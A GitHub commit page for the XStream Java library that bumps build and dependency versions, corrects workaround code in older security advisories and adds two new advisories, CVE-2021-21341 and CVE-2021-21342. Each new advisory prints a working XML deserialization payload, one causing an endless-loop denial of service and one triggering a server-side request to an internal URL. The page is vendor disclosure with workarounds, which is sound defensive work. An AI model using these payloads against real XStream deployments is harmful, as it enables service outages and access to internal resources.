Skip to content

Commit

Permalink
merge upstream master
Browse files Browse the repository at this point in the history
  • Loading branch information
Julia Boes committed Mar 22, 2021
2 parents 1b8746a + 91f8282 commit 49b3726
Show file tree
Hide file tree
Showing 48 changed files with 2,249 additions and 302 deletions.
3 changes: 2 additions & 1 deletion .travis.yml
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@ dist: xenial
language: java
sudo: false
jdk:
- openjdk16
- openjdk15
- openjdk14
- openjdk13
Expand All @@ -12,7 +13,7 @@ jdk:
- openjdk8
install: true
script:
if [ "$TRAVIS_JDK_VERSION" == "openjdk8" ]; then
if [ "$TRAVIS_JDK_VERSION" == "openjdk16" ]; then
mkdir -p xstream/profiles/coveralls;
mkdir -p xstream-hibernate/profiles/coveralls;
mvn -V -B -e clean package jacoco:report coveralls:report;
Expand Down
42 changes: 27 additions & 15 deletions pom.xml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<!--
Copyright (C) 2006 Joe Walnes.
Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2015, 2016, 2017, 2018, 2019, 2020 XStream committers.
Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2015, 2016, 2017, 2018, 2019, 2020, 2021 XStream committers.
All rights reserved.
The software in this package is published under the terms of the BSD
Expand Down Expand Up @@ -196,7 +196,7 @@
<profile>
<id>xstream-release</id>
<properties>
<version.java.enforced>[14,15)</version.java.enforced>
<version.java.enforced>[16,17)</version.java.enforced>
</properties>
<build>
<plugins>
Expand Down Expand Up @@ -275,7 +275,7 @@
<modules>
<module>xstream</module>
<module>xstream-hibernate</module>
<module>xstream-its</module>
<!--module>xstream-its</module-->
<module>xstream-jmh</module>
<module>xstream-benchmark</module>
<module>xstream-distribution</module>
Expand Down Expand Up @@ -487,6 +487,11 @@
</exclusions>
</dependency>

<dependency>
<groupId>io.github.x-stream</groupId>
<artifactId>mxparser</artifactId>
<version>${version.io.github.x-stream.mxparser}</version>
</dependency>
<dependency>
<groupId>xpp3</groupId>
<artifactId>xpp3_min</artifactId>
Expand Down Expand Up @@ -624,18 +629,17 @@
</dependency>

<!-- Pax Exam Dependencies -->
<dependency>
<groupId>jakarta.inject</groupId>
<artifactId>jakarta.inject-api</artifactId>
<version>${version.jakarta.inject.api}</version>
</dependency>
<dependency>
<groupId>org.apache.felix</groupId>
<artifactId>org.apache.felix.framework</artifactId>
<version>${version.org.apache.felix}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.glassfish.hk2.external</groupId>
<artifactId>javax.inject</artifactId>
<version>${version.javax.inject}</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.ops4j.pax.exam</groupId>
<artifactId>pax-exam-container-native</artifactId>
Expand Down Expand Up @@ -931,7 +935,7 @@
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.14-jdk7</version>
<version>1.4.16</version>
</dependency>
</dependencies>
</plugin>
Expand Down Expand Up @@ -967,6 +971,13 @@
<groupId>org.eluder.coveralls</groupId>
<artifactId>coveralls-maven-plugin</artifactId>
<version>${version.plugin.eluder.coveralls}</version>
<dependencies>
<dependency>
<groupId>jakarta.xml.bind</groupId>
<artifactId>jakarta.xml.bind-api</artifactId>
<version>${version.jakarta.xml.bind.api}</version>
</dependency>
</dependencies>
</plugin>
<plugin>
<groupId>org.jacoco</groupId>
Expand Down Expand Up @@ -1096,19 +1107,20 @@
<version.plugin.mojo.flatten>1.1.0</version.plugin.mojo.flatten>
<version.plugin.io.wcm.devops.eclipse>3.1.0</version.plugin.io.wcm.devops.eclipse>
<version.plugin.eluder.coveralls>4.3.0</version.plugin.eluder.coveralls>
<version.plugin.jacoco>0.8.3</version.plugin.jacoco>
<version.plugin.jacoco>0.8.6</version.plugin.jacoco>

<version.cglib.nodep>2.2</version.cglib.nodep>
<version.com.brsanthu.migbase64>2.2</version.com.brsanthu.migbase64>
<version.com.megginson.sax.xml-writer>0.2</version.com.megginson.sax.xml-writer>
<version.commons.codec>1.11</version.commons.codec>
<version.commons.lang3>3.8.1</version.commons.lang3>
<version.hsqldb>2.2.8</version.hsqldb>
<version.io.github.x-stream.mxparser>1.2.1</version.io.github.x-stream.mxparser>
<version.jakarta.activation.api>1.2.1</version.jakarta.activation.api>
<version.jakarta.annotation.api>1.3.4</version.jakarta.annotation.api>
<version.jakarta.inject.api>1.0</version.jakarta.inject.api>
<version.jakarta.xml.bind.api>2.3.2</version.jakarta.xml.bind.api>
<version.javaassist>3.12.1.GA</version.javaassist>
<version.javax.inject>2.4.0</version.javax.inject>
<version.javax.xml.bind.api>2.3.1</version.javax.xml.bind.api>
<version.javax.xml.ws.jaxws.rt>2.2</version.javax.xml.ws.jaxws.rt><!-- Java 5 -->
<version.jmock>1.0.1</version.jmock>
Expand All @@ -1125,7 +1137,7 @@
<version.org.jdom2>2.0.6</version.org.jdom2>
<version.org.json>20180813</version.org.json>
<version.org.openjdk.jmh>1.21</version.org.openjdk.jmh>
<version.org.ops4j.pax.exam>4.13.1</version.org.ops4j.pax.exam>
<version.org.ops4j.pax.exam>4.13.4</version.org.ops4j.pax.exam>
<version.org.slf4j>1.6.1</version.org.slf4j>
<version.stax>1.2.0</version.stax>
<version.xerces.impl>2.8.1</version.xerces.impl>
Expand All @@ -1134,8 +1146,8 @@
<version.xpp3>1.1.4c</version.xpp3>

<jar.module.name>${project.artifactId}</jar.module.name>
<javadoc.java.release>14</javadoc.java.release>
<javadoc.link.javase>https://docs.oracle.com/en/java/javase/14/docs/api/</javadoc.link.javase>
<javadoc.java.release>16</javadoc.java.release>
<javadoc.link.javase>https://docs.oracle.com/en/java/javase/16/docs/api/</javadoc.link.javase>
<surefire.illegal.access>permit</surefire.illegal.access>

<argLine>${surefire.argline}</argLine>
Expand Down
4 changes: 2 additions & 2 deletions xstream-benchmark/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -23,9 +23,9 @@

<profiles>
<profile>
<id>jdk14</id>
<id>jdk16</id>
<activation>
<jdk>14</jdk>
<jdk>16</jdk>
</activation>
<build>
<plugins>
Expand Down
4 changes: 2 additions & 2 deletions xstream-distribution/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -48,9 +48,9 @@

<profiles>
<profile>
<id>jdk14</id>
<id>jdk16</id>
<activation>
<jdk>14</jdk>
<jdk>16</jdk>
</activation>
<build>
<plugins>
Expand Down
2 changes: 1 addition & 1 deletion xstream-distribution/src/content/CVE-2020-26217.html
Original file line number Diff line number Diff line change
Expand Up @@ -134,7 +134,7 @@ <h2 id="workaround">Workaround</h2>
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
}, XStream.PRIORITY_LOW);
}, XStream.PRIORITY_VERY_HIGH);
</pre></div>

<h2 id="credits">Credits</h2>
Expand Down
2 changes: 1 addition & 1 deletion xstream-distribution/src/content/CVE-2020-26258.html
Original file line number Diff line number Diff line change
Expand Up @@ -104,7 +104,7 @@ <h2 id="workaround">Workaround</h2>
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
}, XStream.PRIORITY_LOW);
}, XStream.PRIORITY_VERY_HIGH);
</pre></div>

<h2 id="credits">Credits</h2>
Expand Down
6 changes: 3 additions & 3 deletions xstream-distribution/src/content/CVE-2020-26259.html
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,7 @@ <h2 id="description">Description</h2>

<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
input stream and replace or inject objects, that result in a server-side forgery request.</p>
input stream and replace or inject objects, that result in the deletion of a file on the local host.</p>

<h2 id="reproduction">Steps to Reproduce</h2>

Expand Down Expand Up @@ -60,7 +60,7 @@ <h2 id="reproduction">Steps to Reproduce</h2>
xstream.fromXML(xml);
</pre></div>

<p>As soon as the XML gets unmarshalled, the payload gets executed and the references file is deleted.</p>
<p>As soon as the XML gets unmarshalled, the payload gets executed and the referenced file is deleted.</p>

<p>Note, this example uses XML, but the attack can be performed for any supported format, e.g. JSON.</p>

Expand Down Expand Up @@ -107,7 +107,7 @@ <h2 id="workaround">Workaround</h2>
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
}, XStream.PRIORITY_LOW);
}, XStream.PRIORITY_VERY_HIGH);
</pre></div>

<h2 id="credits">Credits</h2>
Expand Down
89 changes: 89 additions & 0 deletions xstream-distribution/src/content/CVE-2021-21341.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
<html>
<!--
Copyright (C) 2021 XStream committers.
All rights reserved.
The software in this package is published under the terms of the BSD
style license a copy of which has been included with this distribution in
the LICENSE.txt file.
Created on 10. January 2021 by Joerg Schaible
-->
<head>
<title>CVE-2021-21341</title>
</head>
<body>

<h2 id="vulnerability">Vulnerability</h2>

<p>CVE-2021-21341: XStream can cause a Denial of Service.</p>

<h2 id="affected_versions">Affected Versions</h2>

<p>All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is
affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
framework</a> with a whitelist limited to the minimal required types.</p>

<h2 id="description">Description</h2>

<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
input stream and replace or inject a manipulated ByteArrayInputStream (or derived class), that can cause an endless
loop resulting in a denial of service.</p>

<h2 id="reproduction">Steps to Reproduce</h2>

<p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and
unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
&lt;unserializable-parents/&gt;
&lt;java.util.PriorityQueue&gt;
&lt;default&gt;
&lt;size&gt;2&lt;/size&gt;
&lt;comparator class='javafx.collections.ObservableList$1'/&gt;
&lt;/default&gt;
&lt;int&gt;3&lt;/int&gt;
&lt;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&gt;
&lt;dataHandler&gt;
&lt;dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'&gt;
&lt;is class='java.io.ByteArrayInputStream'&gt;
&lt;buf&gt;&lt;/buf&gt;
&lt;pos&gt;-2147483648&lt;/pos&gt;
&lt;mark&gt;0&lt;/mark&gt;
&lt;count&gt;0&lt;/count&gt;
&lt;/is&gt;
&lt;consumed&gt;false&lt;/consumed&gt;
&lt;/dataSource&gt;
&lt;transferFlavors/&gt;
&lt;/dataHandler&gt;
&lt;dataLen&gt;0&lt;/dataLen&gt;
&lt;/com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&gt;
&lt;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/&gt;
&lt;/java.util.PriorityQueue&gt;
&lt;/java.util.PriorityQueue&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

<p>As soon as the XML gets unmarshalled, the an endless loop is entered and the executing thread consumes maximum
CPU time and will never return.</p>

<p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>

<h2 id="impact">Impact</h2>

<p>The vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU
type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed
input stream.</p>

<h2 id="workarounds">Workarounds</h2>

<p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>

<h2 id="credits">Credits</h2>

<p>The vulnerability was discovered and reported by threedr3am.</p>

</body>
</html>
83 changes: 83 additions & 0 deletions xstream-distribution/src/content/CVE-2021-21342.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
<html>
<!--
Copyright (C) 2021 XStream committers.
All rights reserved.
The software in this package is published under the terms of the BSD
style license a copy of which has been included with this distribution in
the LICENSE.txt file.
Created on 12. January 2021 by Joerg Schaible
-->
<head>
<title>CVE-2021-21342</title>
</head>
<body>

<h2 id="vulnerability">Vulnerability</h2>

<p>CVE-2021-21342: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams
from an arbitrary URL referencing a resource in an intranet or the local host.</p>

<h2 id="affected_versions">Affected Versions</h2>

<p>All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is
affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
framework</a> with a whitelist limited to the minimal required types.</p>

<h2 id="description">Description</h2>

<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
input stream and replace or inject objects, that result in a server-side forgery request.</p>

<h2 id="reproduction">Steps to Reproduce</h2>

<p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and
unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
&lt;unserializable-parents/&gt;
&lt;java.util.PriorityQueue&gt;
&lt;default&gt;
&lt;size&gt;2&lt;/size&gt;
&lt;comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'&gt;
&lt;indexMap class='com.sun.xml.internal.ws.client.ResponseContext'&gt;
&lt;packet&gt;
&lt;message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'&gt;
&lt;dataSource class='javax.activation.URLDataSource'&gt;
&lt;url&gt;http://localhost:8080/internal/:&lt;/url&gt;
&lt;/dataSource&gt;
&lt;/message&gt;
&lt;/packet&gt;
&lt;/indexMap&gt;
&lt;/comparator&gt;
&lt;/default&gt;
&lt;int&gt;3&lt;/int&gt;
&lt;string&gt;javax.xml.ws.binding.attachments.inbound&lt;/string&gt;
&lt;string&gt;javax.xml.ws.binding.attachments.inbound&lt;/string&gt;
&lt;/java.util.PriorityQueue&gt;
&lt;/java.util.PriorityQueue&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

<p>As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.</p>

<p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>

<h2 id="impact">Impact</h2>

<p>The vulnerability may allow a remote attacker to request data from internal resources that are not publicly
available only by manipulating the processed input stream.</p>

<h2 id="workarounds">Workarounds</h2>

<p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>

<h2 id="credits">Credits</h2>

<p>钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.</p>

</body>
</html>
Loading

0 comments on commit 49b3726

Please sign in to comment.